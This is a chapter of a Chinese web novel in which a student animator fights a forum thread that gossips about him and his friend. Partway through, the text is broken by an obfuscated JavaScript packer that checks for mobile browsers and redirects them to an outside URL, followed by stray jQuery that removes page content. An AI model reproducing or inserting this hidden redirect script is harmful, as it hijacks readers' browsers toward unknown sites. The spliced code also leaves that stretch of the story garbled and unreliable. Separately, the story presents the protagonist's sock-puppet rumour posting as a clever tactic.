不！


    不行！


    他还是好介意！


    林维夜半惊醒，从床上坐起。这会儿都十二点了，宿舍都断电熄灯了。然而那破帖子里的诸多字句还是跟蚂蚁一样，爬到了他的脊梁骨上，刺挠得他不行。


    林维摸黑打开了手机，感觉手机光太亮了，就翻身下床去了走廊洗手间。他窝到一亮灯的格子间里，点开帖子，刷了会儿，越看越觉得果然不行。


    虽然好兄弟说了不介意，那是因为他还不知道这帖子的内容。要是再任由这帮人造下去，总有一天这哥们得打开这帖子瞧瞧到底是个什么鬼，到那时，都不用人跟自己绝交了，林维觉得自己当场就能原地升天，从这个世界消失。


    ……还是得想个办法阻止一下。


    林维敲敲脑袋，强迫自己扔掉抵抗的情绪，快速地滑阅了几页，得出了几个判断。一，甭看着这帖子翻了十一页，回帖多达三千条，其实有效信息没多少，按照数量占比基本可以分为四种：灌水的＞＞＞跟风的＞＞提供观点的＞提供信息的。


    灌水的回帖最多，大多内容为「upup」「摩多摩多」，尽管林维没看懂什么意思，但不妨碍他将之理解为文字点赞。


    跟风的回帖次之，内容取决于要跟的观点。比如认同「J神跟L是一对」的，就会跟着此观点的回帖变着花样地发散，什么「难怪……」「原来……」；比如对林维的普法回帖变着花样地咒骂。


    提供信息的回帖其实是最少的，三千多条里也就四十条，看着都是那六个ID，但由于这论坛的网名可以随便改，林维怀疑实际也就三五个人，而且大部分应该都是他这届同专业的女生。


    有没有男生不确定，但没有提到广雅公寓里的事情，他倾向于没有。


    二，其中有一个信息提供者他怀疑是唐梦雪，因为对方提到了去cos那天的路上，他靠在江君尧身上休息的事情。但也有可能是其他学院的，毕竟车上那么多人。


    林维想着，眼前晃过了一张明媚可爱的面容，把唐梦雪的名字从心中划掉了。这么好看的女孩子，他不太愿意相信她会参与这样的讨论。


    “……到底会是谁呢？”林维自语着，打开专业群的成员列表，一个个地看过去。这届男女比例接近一比二，比上届强点，然而还是阴盛阳衰，女生七十个，男生三十八个。


    要在七十个人里找出六个并不容易，尤其他跟她们还不太熟。可能还得去问问唐邵一对象。


    三，有意思的是，爆他和江君尧真名的回帖人倒不在这六个ID里，把他「轻讯」主页、作品集截图po上去的也不是这六个。那个ID为「不是啾是咪子猪」的还回道：【爆人真名的有病吧？】


    看得林维心情相当复杂，因为就她这一句，倒等于变相确认了J神和L的真名。


    林维由此判断他的女同学们只是随便唠唠，对他本人并没有主观恶意。她们只是在文字点赞和跟风鼓励的裹挟中，像赵钱荀之和王达志沉迷《暗夜》那样，进入了一条「行为-奖励-强化」的游戏成瘾机制闭环。


    打断人游戏的方法主要有两种。一种是强有力的外因介入，一种是自发的内因产生——林维将之理解为玩家觉得游戏不好玩了，自然也就停止了。


    外因就像去画室打工之于王达志，不论游戏打到多晚，第二天都要爬起来赶过去；上专业课之于赵钱荀之，就算今天开了新本，他也得下了课再回来打。


    ——“应该是楼主去申请删除的。”


    忽然地，下午蔡晓雯说的话闯入了林维脑海。


    等等！


    林维忙在这帖子的界面上下滑动翻找，没有。他说他怎么忘了还有「删帖」这一强力外因——这个论坛里的帖子，连个投诉按钮都没有，这也太离谱了！


    看来还有别的删帖途径。


    林维点击返回，在这名叫「纯洁之爱」的论坛首页摸索了半天，才找到了一条置顶飘红的帖子，标题「2009版务版规&自首申删汇总」。点击进入后，他滑到最底下，跟着其他人的格式提交了一条删帖申请，并附带了那帖的链接和理由，自然仍用的那段普法描述。


    这样，强有力的外因就有了。


    那内因呢？林维想道：怎样才能让她们觉得这样不再好玩，失去讨论的兴趣？


    说真的，林维是真觉得奇怪了，俩大老爷们，每天除了吃喝拉撒，不是上课就是做动画，到底有啥好扒拉出来讨论的？然而她们愣是能从石头缝里抠出各种千奇百怪的描述。而且最近两页，这扒拉的视角转移了，不说J神，开始说L了。说L基本从不跟J神以外的人一桌吃饭，说他俩要是一遇着就有说不完的话blabla……


    看得他丢脸丢得都有些无奈了，真想告诉她们，他跟将军混饭纯粹是因为人愿意给他蹭饭，他跟将军老唠吧唠吧，那都是在聊片子！因为他的队友是个完美主义者，TMD抠不完的镜头，补不完的细节！


    还有改来改去总想改的更好的角色动画。


    还有、还有……他才不信她们跟自己的好姐妹没有说不完的话！


    等等！


    林维灵机一动，又想到了。改了个网名，发了条新回帖道：


    别瞎传了，人J神有正经交往的女朋友好吗？你们这样搞，有想过对那个女生伤害有多大吗？


    №3060.11于2009-12-03 00:30:12留言.


    他发完等了一分钟，没见有人回复，便又改了个网名，自己跟在后面道：


    之前确实有在时代广场那里遇到J神跟一个女生手拉手逛街……看来他跟L估计就是单纯的兄弟情吧~


    №3061.==于2009-12-03 00:32:45留言.


    发完这条，林维觉得自己简直是个天才。


    这样内外因都有了，双管齐下~嗯，没错，就得用谣言对抗谣言。反正江君尧也不在意这些。看他追那女生追得那么辛苦的样子，万一他这波一推，这一对就成了呢？这就不算谣言了，算美言！！


    想到这里，林维忍不住发出一阵哈哈大笑。


    而他这一笑，笑声回音又把自己吓了一跳。林维忙拉开格间门去看了看，还好，这会儿洗手间里没别人，不然把哪位半夜如厕的同学吓着就不好了。


    解决心头一桩大事，林维顺便解了手，揣着手机开开心心地回了宿舍，摄手摄脚地爬上了床去睡觉了。


    ……


    一觉醒来，已是周四。


    二班今早的第一节课是外语，一班呢则是原动画基础。


    所以林维跟江君尧从宿舍一起走到动院门口就得分开了，但他这一路走得非常高兴，哼着小调、踢踢踏踏地，以至于江君尧问他：“怎么了？这么高兴？”


    林维本想说“我使了一招帮你追女朋友，成了记得请我吃饭哈哈哈”，但一想万一人又骂他心思没放做动画上，加上这一早上他还没来得及进那帖子看看后续，万一已经被删了呢？万一帖子里的网友又开始人肉那妹子了呢？话到嘴边就成了：“我觉得我们昨晚那个长镜头改得好！哈哈哈~”


    “你喜欢就好。”江君尧笑着伸手，还没碰到林维脑袋就被他一个扭身躲开了。他现在可是见哥们一伸手就知道对方要做什么了。“嘿！没逮到！”林维闪避成功，开心地抛了句“中午食堂见”跑了。


    外语课这节是在四十六号教学楼的二层机房上，也是他们下学期考试的考场。这节练口语，就是戴着耳麦听机器说一句，他们跟着念一句，发音不标准的要跟着念到标准才给过，口语考试到时候也是对着机子说，完全是机器判分。


    这种课摸鱼是摸不了了，也没什么时间看手机，于是林维等到了艺术概论课才有空刷开了那个帖子——


    前方有不明生物出没！大家注意避开！


    №3062.CP脑抱走不送于2009-12-03 00:50:13留言.


    造谣S全家


    №3063.kkkk于2009-12-03 00:56:02留言.


    笑死，你们猜我发现了什么？逗号哥去版务帖举报这个帖子人肉违法了[截图.jpg]


    №3064.非于2009-12-03 01:20:13留言.


    ……


    楼主不是已经把爆真名的那层申删了吗？那个sjb为什么还不放过这楼？


    №3089.fireball于2009-12-03 07:38:13留言.


    不是，，逗号哥？你知道就算你披了双眼皮也藏不住你的小尾巴吗？


    №30


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724439|163030||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    90.==于2009-12-03 07:40:22留言.


    那个假扮正主的逗号又来了！！楼主注意sh护楼啊！！


    №3091.--于2009-12-03 07:42:18留言.


    ……


    L……是你吗？


    你也来了吗……


    你知道J神喜欢你吗（轻轻……


    №3218.= =于2009-12-03 10:05:13留言.


    我说难怪突然有两层画风这么奇怪，味儿太窜了收收


    №3219.DTTLd于2009-12-03 10:07:01留言.


    什么女朋友？反正我们没看到，J神身边一直只有L~~~嫉妒吗？该不会你就是那个所谓的女朋友吧？别幻想了，洗洗睡吧。J神唯爱L，你已经没机会了哦呵呵呵~~


    №3220.yuki233于2009-12-03 10:08:09留言.


    这一溜回复刷下来，林维堵嘴的企图没达成，反而被气得脑瓜子嗡嗡疼：这帮都什么人啊！还骂他造谣？呸！明明是她们先污蔑他跟将军的纯友谊！


    气得他无心看片，一个返回首页版务帖又重新发了遍删帖申请，他现在放弃内因了，专注搞外因。他一个大男人，实在不想在一个帖子里跟一堆女生吵架，真是求求版主赶紧把这破帖子删了吧。


    安辰西老师放完弗朗吉镜宫的一段纪录片，开始讲课，讲巴洛克和洛可可艺术风格。坐在最前排的蔡晓雯依旧时不时举手提个问：“老师，为什么教皇要把教堂建的极尽华丽，但是他们自己的神穿着又极其朴素？身上好多时候只有一块白布，他们的神真的喜欢这种风格吗？”


    安辰西：“……”


    安辰西：“晓雯同学的问题我们稍后再答，现在先来看巴洛克风格和洛可可的区别……”


    这算是二班上课的常态了，教原动画基础的余万泽为此给蔡晓雯取了个新绰号「问题少女」，一看她举手就笑道：“好吧，问题少女又要问十万个为什么了。”


    坐第六排的林维由此将她彻底排除出了嫌疑列表。这妹子上课不是提问就是做笔记，一看就没时间干这个。翻出几名怀疑对象在专业群内的发言记录，林维也放下手机跟着专心听课。


    不过跟求知欲旺盛的蔡晓雯不同，林维自认是个实用主义者，他上这课就是来纯「进货」的。看看有什么能用的，弄回去用到他的《鸟虎斗》里。比如上上节课讲的禹国古代的书法，林维看中一款狂草，就弄回去修修改改当了动画开头。再比如老师举例的一堆传统祥云花鸟纹，他从能搭嘎的象征里挑挑拣拣了些，回头就跟江君尧商量一番，简化部分色指定，后期用纹样贴图替代。


    如果安老师放了个什么短片，里面的镜头转场贼好，林维也赶紧抄下来，反正他们还有三十多个镜头没做完加动画，头尾改个转场也来得及。反正这片子没做前，林维是没看出这课有什么用的，做了这片子才发现自己这缺那也缺，而这课就跟个大集市似的，动不动就来个旮旯小国的奇怪小动画。看得林维：哦，原来角色还能这么玩；哦，背景还能这么糊弄；哦，这纹理还能这么用……


    而他对自己这种东抄西凑的行为丝毫不以为耻，只觉得像他这种没什么天赋的人，能找到这种「学以致用」的方法就不错了，至少还能把学费赚回来。


    好在他的队友江君尧也不觉得这有什么，天天夸他这好那好的，林维被夸得险些以为自己也是个天才了，再看看各自画的画，又清醒了。这哥们就是人太好了，他必须想办法把这恶心的谣言破了，才算对得起人一番照顾。


    不过这事儿暂且搁一边，林维现在盯着讲台幕布上一堆繁复华丽的涡形曲线、卷曲花纹，琢磨着这堆巴洛克装饰看着还挺唬人，是不是能搬到天幕动画上用用？他看时代天阶那边应该还挺想要这种高奢风格的……？


    一会儿听个课，一会儿画点灵感，一会儿看看帖子还在，就去申请删个帖，林维这课上得还挺忙，一忙忙到了下课。他自觉收货颇丰，打算中午跟江君尧唠唠把天幕画成教堂穹顶的主意，结果随手一刷帖子，好家伙！


    ——这破论坛居然把他禁言了！


    禁言的理由还是「刷屏闹版」，直接禁了他三天！